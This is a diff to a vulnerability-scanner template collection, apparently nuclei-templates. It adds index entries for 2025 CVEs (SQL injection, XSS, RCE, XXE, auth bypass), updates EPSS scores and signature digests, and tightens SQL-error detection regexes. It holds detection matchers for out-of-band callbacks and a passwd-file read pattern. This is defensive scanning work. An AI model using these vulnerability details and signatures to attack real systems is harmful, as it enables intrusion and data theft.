 {"ID":"CVE-2025-27892","Info":{"Name":"Shopware \u003c 6.5.8.13 - SQL Injection","Severity":"critical","Description":"The Shopware application API contains a search functionality which enables users to search through information stored within their Shopware instance. The searches performed by this function can be aggregated using the parameters in the \"aggregations\" object. The name field in this \"aggregations\" in nested object is vulnerable SQL-injection and can be exploited using SQL parameters.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2025/CVE-2025-27892.yaml"}
+{"ID":"CVE-2025-27915","Info":{"Name":"Zimbra - Cross-Site Scripting via ICS Files","Severity":"medium","Description":"Detects Zimbra Collaboration Suite versions vulnerable to CVE-2025-27915, a stored XSS vulnerability in the Classic Web Client due to insufficient sanitization of HTML content in ICS files. When a user views an email with a malicious ICS entry, embedded JavaScript executes via an ontoggle event inside a details tag, allowing attackers to perform unauthorized actions like email redirection and data exfiltration.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-27915.yaml"}
 {"ID":"CVE-2025-28228","Info":{"Name":"Electrolink FM/DAB/TV Transmitter - Credentials Disclosure","Severity":"high","Description":"A credential exposure vulnerability in Electrolink 500W, 1kW, 2kW Medium DAB Transmitter Web v01.09, v01.08, v01.07, and Display v1.4, v1.2 allows unauthorized attackers to access credentials in plaintext.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-28228.yaml"}
 {"ID":"CVE-2025-28367","Info":{"Name":"mojoPortal \u003c=2.9.0.1 - Directory Traversal","Severity":"medium","Description":"mojoPortal \u003c=2.9.0.1 is vulnerable to Directory Traversal via BetterImageGallery API Controller - ImageHandler Action. An attacker can exploit this vulnerability to access the Web.Config file and obtain the MachineKey.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-28367.yaml"}
 {"ID":"CVE-2025-28906","Info":{"Name":"Skitter Slideshow \u003c= 2.5.2 - Authenticated (Administrator+) Stored Cross-Site Scripting","Severity":"medium","Description":"The Skitter Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-28906.yaml"}
@@ -3400,6 +3418,7 @@
 {"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
 {"ID":"CVE-2025-49493","Info":{"Name":"Akamai CloudTest \u003c 60 2025.06.02 - XML External Entity (XXE)","Severity":"critical","Description":"Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-49493.yaml"}
 {"ID":"CVE-2025-49596","Info":{"Name":"MCP Inspector \u003c 0.14.0 UnauthenticatedRemote Code Execution","Severity":"critical","Description":"The MCP inspector is a developer tool for testing and debugging MCP servers. Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-49596.yaml"}
+{"ID":"CVE-2025-49706","Info":{"Name":"Microsoft SharePoint Server - Authentication Bypass","Severity":"medium","Description":"Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-49706.yaml"}
 {"ID":"CVE-2025-49825","Info":{"Name":"Teleport - Authentication Bypass","Severity":"critical","Description":"Teleport versions prior to 17.5.2 are vulnerable to a remote authentication bypass vulnerability. This issue allows attackers to gain unauthorized access to affected systems.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-49825.yaml"}
 {"ID":"CVE-2025-5086","Info":{"Name":"Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization","Severity":"critical","Description":"A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2025/CVE-2025-5086.yaml"}
 {"ID":"CVE-2025-51482","Info":{"Name":"Letta Letta 0.7.12 - Remote Code Execution","Severity":"high","Description":"Letta 0.7.12 is vulnerable to remote code execution via POST /v1/tools/run in letta.server.rest_api.routers.v1.tools.run_tool_from_source, allowing attackers to execute arbitrary Python and OS commands via crafted tool source code.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-51482.yaml"}
@@ -3431,6 +3450,7 @@
 {"ID":"CVE-2025-55161","Info":{"Name":"Stirling-PDF SSRF via Markdown","Severity":"high","Description":"Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-55161.yaml"}
 {"ID":"CVE-2025-55169","Info":{"Name":"WeGIA - Directory Traversal","Severity":"critical","Description":"WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Prior to version 3.4.8, a path traversal vulnerability was discovered in the WeGIA application, html/socio/sistema/download_remessa.php endpoint. This vulnerability could allow an attacker to gain unauthorized access to local files in the server and sensitive information stored in config.php. config.php contains information that could allow direct access to the database. This issue has been patched in version 3.4.8.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-55169.yaml"}
 {"ID":"CVE-2025-55190","Info":{"Name":"ArgoCD Project API Token Repository Credentials Exposure","Severity":"critical","Description":"Argo CD API tokens with project-level permissions are able to retrieve sensitive repository credentials\n(usernames, passwords) through the project details API endpoint, even when the token only has standard\napplication management permissions and no explicit access to secrets. This vulnerability affects versions\nv2.2.0-rc1 and later, including 2.13.0 through 2.13.8, 2.14.0 through 2.14.15, 3.0.0 through 3.0.12,\nand 3.1.0-rc1 through 3.1.1. Any token with project get permissions is vulnerable, including global permissions.\nNote: This template requires valid ArgoCD credentials (username/password) to test the vulnerability.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-55190.yaml"}
+{"ID":"CVE-2025-55523","Info":{"Name":"Agent-Zero 0.8.0 - 0.9.4 - Arbitrary File Download","Severity":"high","Description":"Agent-Zero v0.8.0 - 0.9.4 contains a path traversal caused by improper validation in /api/download_work_dir_file.py, letting attackers access unauthorized files, exploit requires crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-55523.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
 {"ID":"CVE-2025-55747","Info":{"Name":"XWiki Platform - Information Disclosure","Severity":"high","Description":"XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 6.1-milestone-2 through 16.10.6, configuration files are accessible through the webjars API.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-55747.yaml"}
 {"ID":"CVE-2025-55748","Info":{"Name":"XWiki Platform - Path Traversal","Severity":"high","Description":"XWiki Platform 4.2-milestone-2 through 16.10.6 contains a path traversal caused by improper access control in jsx and sx endpoints, letting remote attackers read configuration files, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-55748.yaml"}
@@ -3443,6 +3463,7 @@
 {"ID":"CVE-2025-57819","Info":{"Name":"FreePBX - Remote Code Execution","Severity":"critical","Description":"FreePBX 15, 16, and 17 contain a remote code execution caused by insufficiently sanitized user-supplied data in endpoints, letting unauthenticated attackers manipulate the database and execute code remotely, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-57819.yaml"}
 {"ID":"CVE-2025-57822","Info":{"Name":"Next.js Middleware - Server-Side Request Forgery","Severity":"medium","Description":"In Next.js prior to versions 14.2.32 and 15.4.7, when request headerswere insecurely passed to NextResponse.next(), an attacker could exploit this behavior to perform Server-Side Request Forgery (SSRF) attacks.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-57822.yaml"}
 {"ID":"CVE-2025-58179","Info":{"Name":"Astro Cloudflare Adapter - Server Side Request Forgery","Severity":"high","Description":"Astro is a web framework for content-driven websites. Versions 11.0.3 through 12.6.5 are vulnerable to SSRF when using Astro's Cloudflare adapter. When configured with output: 'server' while using the default imageService: 'compile', the generated image optimization endpoint doesn't check the URLs it receives, allowing content from unauthorized third-party domains to be served. a A bug in impacted versions of the @astrojs/cloudflare adapter for deployment on Cloudflare’s infrastructure, allows an attacker to bypass the third-party domain restrictions and serve any content from the vulnerable origin.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-58179.yaml"}
+{"ID":"CVE-2025-58360","Info":{"Name":"GeoServer - XML External Entity Injection","Severity":"high","Description":"GeoServer 2.26.0 to 2.26.2 and 2.25.6 contains an XML External Entity (XXE) injection caused by insufficient sanitization of XML input in /geoserver/wms GetMap operation, letting attackers disclose files or cause DoS, exploit requires crafted XML input.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2025/CVE-2025-58360.yaml"}
 {"ID":"CVE-2025-58434","Info":{"Name":"Flowise \u003c= 3.0.5 - Account Takeover","Severity":"critical","Description":"Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-58434.yaml"}
 {"ID":"CVE-2025-58443","Info":{"Name":"FOGProject \u003c= 1.5.10.1673 - Authentication Bypass","Severity":"critical","Description":"FOGProject version 1.5.10.1673 suffers from an authentication bypass vulnerability that allows unauthenticated users to access the management interface without proper authentication. This can lead to unauthorized access to system configuration, host management, and potentially database information.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-58443.yaml"}
 {"ID":"CVE-2025-58751","Info":{"Name":"Vite Dev Server - Path Traversal","Severity":"low","Description":"Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, files starting with the same name with the public directory were served bypassing the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or `server.host` config option), use the public directory feature (enabled by default), and have a symlink in the public directory are affected. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-58751.yaml"}
@@ -3453,6 +3474,7 @@
 {"ID":"CVE-2025-6058","Info":{"Name":"WPBookit \u003c= 1.0.4 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6058.yaml"}
 {"ID":"CVE-2025-61666","Info":{"Name":"Traccar(Windows) 6.1- 6.8.1 - Local File Inclusion","Severity":"high","Description":"Traccar 5.8-6.0 (non-default installs with web.override set) and 6.1-6.8.1 (default installs) contain a local file inclusion vulnerability caused by enabled web override configuration, letting unauthenticated attackers leak arbitrary files including passwords, exploit requires local access.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-61666.yaml"}
 {"ID":"CVE-2025-6174","Info":{"Name":"WordPress Qwizcards \u003c 3.95 - Cross-Site Scripting (Reflected)","Severity":"medium","Description":"The WordPress Qwizcards plugin before version 3.95 does not sanitise and escape the \"theme_stylesheet\" parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting vulnerability.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-6174.yaml"}
+{"ID":"CVE-2025-61757","Info":{"Name":"Oracle Identity Manager REST WebServices - Authentication Bypass","Severity":"critical","Description":"Vulnerability in the Identity Manager product of Oracle Fusion Middleware (component: REST WebServices). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Identity Manager. Successful attacks of this vulnerability can result in takeover of Identity Manager.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-61757.yaml"}
 {"ID":"CVE-2025-61882","Info":{"Name":"Oracle E-Business Suite 12.2.3–12.2.14 – Remote Code Execution","Severity":"critical","Description":"Oracle Concurrent Processing 12.2.3-12.2.14 contains a remote code execution caused by unauthenticated network access via HTTP, letting unauthenticated attackers fully compromise the system, exploit requires network access via HTTP.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-61882.yaml"}
 {"ID":"CVE-2025-61884","Info":{"Name":"Oracle E-Business Suite - Server-Side Request Forgery","Severity":"high","Description":"Vulnerability in the Oracle Configurator product of Oracle E-Business Suite (component: Runtime UI). Supported versions that are affected are 12.2.3-12.2.14. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Configurator.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-61884.yaml"}
 {"ID":"CVE-2025-6197","Info":{"Name":"Open Redirect via Organization Switching","Severity":"medium","Description":"An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6197.yaml"}
@@ -3461,6 +3483,8 @@
 {"ID":"CVE-2025-6403","Info":{"Name":"Code-Projects School Fees Payment System 1.0 - SQL Injection","Severity":"critical","Description":"A vulnerability was found in code-projects School Fees Payment System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /student.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6403.yaml"}
 {"ID":"CVE-2025-64095","Info":{"Name":"DNN - Unrestricted Arbitrary File Upload","Severity":"critical","Description":"DNN (formerly DotNetNuke) \\u003C 10.1.1 contains an unrestricted file upload vulnerability caused by the default HTML editor provider allowing unauthenticated file uploads and overwriting existing files, letting unauthenticated attackers deface websites and inject XSS payloads, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-64095.yaml"}
 {"ID":"CVE-2025-64446","Info":{"Name":"FortiWeb - Authentication Bypass","Severity":"critical","Description":"A relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through 7.6.4, FortiWeb 7.4.0 through 7.4.9, FortiWeb 7.2.0 through 7.2.11, FortiWeb 7.0.0 through 7.0.11 may allow an attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-64446.yaml"}
+{"ID":"CVE-2025-64525","Info":{"Name":"Astro - Broken Access Control","Severity":"medium","Description":"Astro 2.16.0 to 5.15.5 contains a broken access control caused by insecure use of unsanitized x-forwarded-proto and x-forwarded-port headers in URL building, letting attackers bypass middleware protection, cause DoS, SSRF, and URL pollution, exploit requires crafted headers.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-64525.yaml"}
+{"ID":"CVE-2025-64764","Info":{"Name":"Astro - Reflected XSS via server islands feature","Severity":"high","Description":"Astro 5.15.8 contains a reflected XSS caused by improper handling of server islands feature, letting remote attackers execute scripts, exploit requires use of server islands in the application.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-64764.yaml"}
 {"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
 {"ID":"CVE-2025-6934","Info":{"Name":"The Opal Estate Pro – Property Management \u003c= 1.7.5 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6934.yaml"}
 {"ID":"CVE-2025-6970","Info":{"Name":"WordPress Events Manager \u003c= 7.0.3 - SQL Injection","Severity":"critical","Description":"The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6970.yaml"}
@@ -3469,6 +3493,7 @@
 {"ID":"CVE-2025-8868","Info":{"Name":"Chef Automate \u003c 4.13.295 — SQL Injection","Severity":"critical","Description":"In Progress Chef Automate, versions earlier than 4.13.295, on Linux x86 platform, an authenticated attacker can gain access to Chef Automate restricted functionality in the compliance service via improperly neutralized inputs used in an SQL command using a well-known token.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8868.yaml"}
 {"ID":"CVE-2025-8943","Info":{"Name":"Flowise \u003c 3.0.1 - Remote Command Execution","Severity":"critical","Description":"The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, in Flowise versions before 3.0.1 the default installation operates without authentication unless explicitly configured. This combination allows unauthenticated network attackers to execute unsandboxed OS commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8943.yaml"}
 {"ID":"CVE-2025-9196","Info":{"Name":"Trinity Audio \u003c= 5.21.0 - Information Exposure","Severity":"medium","Description":"The Trinity Audio Text to Speech AI audio player to convert content into audio plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.21.0 via the ~/admin/inc/phpinfo.php file that gets created on install. This makes it possible for unauthenticated attackers to extract sensitive data including configuration data.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-9196.yaml"}
+{"ID":"CVE-2025-9316","Info":{"Name":"N-central - Authentication Bypass","Severity":"medium","Description":"N-central \u003c 2025.4 can generate sessionIDs for unauthenticated users This issue affects N-central: before 2025.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-9316.yaml"}
 {"ID":"CVE-2025-9744","Info":{"Name":"Loan Management System 1.0 - SQL Injection","Severity":"critical","Description":"Loan Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-9744.yaml"}
 {"ID":"CVE-2025-9985","Info":{"Name":"Featured Image from URL (FIFU) \u003c= 5.2.7 - Unauthenticated Information Exposure via Log File","Severity":"medium","Description":"The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.2.7 through publicly exposed log files. This makes it possible for unauthenticated attackers to view potentially sensitive information contained in the exposed log files.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-9985.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
@@ -1 +1 @@
-be501254d31608a128625dd1cd4cd0a0
+586c34d78b5069508832e896c7ef31aa
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2018-19518
    cwe-id: CWE-88
    epss-score: 0.93956
-    epss-percentile: 0.99875
+    epss-percentile: 0.99874
  metadata:
    max-request: 1
    confidence: tenative
@@ -49,4 +49,4 @@ http:
        part: interactsh_request
        words:
          - "User-Agent: curl"
-# digest: 4a0a00473045022003d7f90673973a982e5558470f07a7f4ad8f8cc685710dc21348cb4bc670b4d9022100b5549b5ebdfda9e3d3841380d1a9818136dc794c3e03b05c487cb841c88f78b5:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204e9b66a3a556a2fac28555598e7ea9413334f57583a53647c662b5c884832f510220431fac3b010ac8412da175dfcead47a45728278d21066570301b5610c64ea2e1:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2021-45046
    cwe-id: CWE-502
    epss-score: 0.9434
-    epss-percentile: 0.99948
+    epss-percentile: 0.99949
  metadata:
    max-request: 1
    confidence: tenative
@@ -62,4 +62,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 490a00463044022069ce9ff5dd033a3bd2eaee14a9e6e5175cdf207d6c666e109e218610836d2d7b0220263e687f7859f8216179813064b7ab4d6a5bf70ffddb926657086197a642ba3d:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220577f4cf16662477519abacfedfe3c6614128e87bd86b664ac7b5ee9df0cb02120220546c5cfdd1bd79514ce08fd1f13d7c01c0cf40d1cd3d540786e3a9e0293431f9:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-22965
    cwe-id: CWE-94
-    epss-score: 0.94436
-    epss-percentile: 0.99986
+    epss-score: 0.94441
+    epss-percentile: 0.99989
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -55,4 +55,4 @@ http:
        words:
          - "User-Agent: Java"
        case-insensitive: true
-# digest: 4b0a00483046022100d9f68c753ba6eb22ad392f0b4c4cf4dfa29872f0fc5051787e9d7285e6afc1e902210095507bd25bdd15e8c8ba02f9482c752f0ac73a17d3e70154cf4da15be19b7dca:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c6610fc04a75756d1adfc0f08ce6c15827becebfd9ce309b8dbc26776ddf9325022100be72624c8a7122dc14212a7e8e633d3488f0fb24f1e6c7aadf88700518d2a754:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2022-34265
    cwe-id: CWE-89
    epss-score: 0.92734
-    epss-percentile: 0.99743
+    epss-percentile: 0.99741
  tags: sqli,dast,vulhub,cve,cve2022,django,vuln

 variables:
@@ -46,4 +46,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4b0a004830460221009b4a7a89e248f4635458cc8e4a9d836c6a6a6897a95c8be5a887ab38a5d9012a022100b35eaa0feab6842b211c2c2ded068b2e3f56182abd7796321fd242b2405dd5d9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200360c7adcd20282fc6554c086bc665a8debb2739f770b09a11d6153a3df17b1f022100c143a80c2b15010ec20d42a60129523042769e5f99f6dc9702b3e7a3c7d8c01b:922c64590222798bb761d5b6d8e72950
@@ -68,4 +68,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100896171b8c7458f699705f04d0c321539d0715e776c7c2cab1995d9a9ec58b830022100fbb5ca0cf109cd36ba39b5b2fa74091e2c659cf515fc3ece4230c8bae87371ac:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cc346282a9fe2035bb592ef63e7a609534f5c5edcc6ad93df9e26e06faa7380b022100db3946759339a3a480cc28202c77679fd1ca1e62e755d7fd5fb7b6843cd6d967:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cvss-score: 7.3
    cve-id: CVE-2024-2961
    cwe-id: CWE-787
-    epss-score: 0.92804
+    epss-score: 0.92795
    epss-percentile: 0.9975
  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln

@@ -57,4 +57,4 @@ http:
      - type: regex
        regex:
          - "root:x:0:0"
-# digest: 4a0a00473045022100e4f4545c82169d4341e2da1b9a5058551ac8c4c687862b517ef46df16279df6902203499634efa09159343bbd21c9171465968c173fdc6a77bf61f704e3c15657f7b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220048615c2e468bd5e0fbe2e0768cf0f3d80a696628addf9008f4b205e19a465a4022100876603cc4c40fb8f5ccc7574dcc322da4b0b611d34ce18aa84f817776e192406:922c64590222798bb761d5b6d8e72950
@@ -44,8 +44,8 @@ http:
      - type: regex
        regex:
          # MySQL
-          - "SQL syntax.*?MySQL"
-          - "Warning.*?\\Wmysqli?_"
+          - "SQL syntax.{0,500}?MySQL"
+          - "Warning.{0,500}?\\Wmysqli?_"
          - "MySQLSyntaxErrorException"
          - "valid MySQL result"
          - "check the manual that (corresponds to|fits) your MySQL server version"
@@ -65,8 +65,8 @@ http:
          - "is not supported by MemSQL"
          - "unsupported nested scalar subselect"
          # PostgreSQL
-          - "PostgreSQL.*?ERROR"
-          - "Warning.*?\\Wpg_"
+          - "PostgreSQL.{0,500}?ERROR"
+          - "Warning.{0,500}?\\Wpg_"
          - "valid PostgreSQL result"
          - "Npgsql\\."
          - "PG::SyntaxError:"
@@ -78,13 +78,13 @@ http:
          - "Pdo[./_\\\\]Pgsql"
          - "PSQLException"
          # Microsoft SQL Server
-          - "Driver.*? SQL[\\-\\_\\ ]*Server"
-          - "OLE DB.*? SQL Server"
+          - "Driver.{0,500}? SQL[\\-\\_\\ ]*Server"
+          - "OLE DB.{0,500}? SQL Server"
          - "\\bSQL Server[^&lt;&quot;]+Driver"
-          - "Warning.*?\\W(mssql|sqlsrv)_"
+          - "Warning.{0,500}?\\W(mssql|sqlsrv)_"
          - "\\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"
          - "System\\.Data\\.SqlClient\\.SqlException\\.(SqlException|SqlConnection\\.OnError)"
-          - "(?s)Exception.*?\\bRoadhouse\\.Cms\\."
+          - "(?s)Exception.{0,500}?\\bRoadhouse\\.Cms\\."
          - "Microsoft SQL Native Client error '[0-9a-fA-F]{8}"
          - "\\[SQL Server\\]"
          - "ODBC SQL Server Driver"
@@ -106,8 +106,8 @@ http:
          # Oracle
          - "\\bORA-\\d{5}"
          - "Oracle error"
-          - "Oracle.*?Driver"
-          - "Warning.*?\\W(oci|ora)_"
+          - "Oracle.{0,500}?Driver"
+          - "Warning.{0,500}?\\W(oci|ora)_"
          - "quoted string not properly terminated"
          - "SQL command not properly ended"
          - "macromedia\\.jdbc\\.oracle"
@@ -116,7 +116,7 @@ http:
          - "Pdo[./_\\\\](Oracle|OCI)"
          - "OracleException"
          # IBM DB2
-          - "CLI Driver.*?DB2"
+          - "CLI Driver.{0,500}?DB2"
          - "DB2 SQL error"
          - "\\bdb2_\\w+\\("
          - "SQLCODE[=:\\d, -]+SQLSTATE"
@@ -126,8 +126,8 @@ http:
          - "DB2Exception"
          - "ibm_db_dbi\\.ProgrammingError"
          # Informix
-          - "Warning.*?\\Wifx_"
-          - "Exception.*?Informix"
+          - "Warning.{0,500}?\\Wifx_"
+          - "Exception.{0,500}?Informix"
          - "Informix ODBC Driver"
          - "ODBC Informix driver"
          - "com\\.informix\\.jdbc"
@@ -136,14 +136,14 @@ http:
          - "IfxException"
          # Firebird
          - "Dynamic SQL Error"
-          - "Warning.*?\\Wibase_"
+          - "Warning.{0,500}?\\Wibase_"
          - "org\\.firebirdsql\\.jdbc"
          - "Pdo[./_\\\\]Firebird"
          # SQLite
          - "SQLite/JDBCDriver"
          - "SQLite\\.Exception"
          - "(Microsoft|System)\\.Data\\.SQLite\\.SQLiteException"
-          - "Warning.*?\\W(sqlite_|SQLite3::)"
+          - "Warning.{0,500}?\\W(sqlite_|SQLite3::)"
          - "SQLITE_ERROR"
          - "SQLite error \\d+:"
          - "sqlite3.OperationalError:"
@@ -152,23 +152,23 @@ http:
          - "Pdo[./_\\\\]Sqlite"
          - "SQLiteException"
          # SAP MaxDB
-          - "SQL error.*?POS([0-9]+)"
-          - "Warning.*?\\Wmaxdb_"
+          - "SQL error.{0,500}?POS([0-9]+)"
+          - "Warning.{0,500}?\\Wmaxdb_"
          - "DriverSapDB"
-          - "-3014.*?Invalid end of SQL statement"
+          - "-3014.{0,500}?Invalid end of SQL statement"
          - "com\\.sap\\.dbtech\\.jdbc"
-          - "\\[-3008\\].*?: Invalid keyword or missing delimiter"
+          - "\\[-3008\\].{0,500}?: Invalid keyword or missing delimiter"
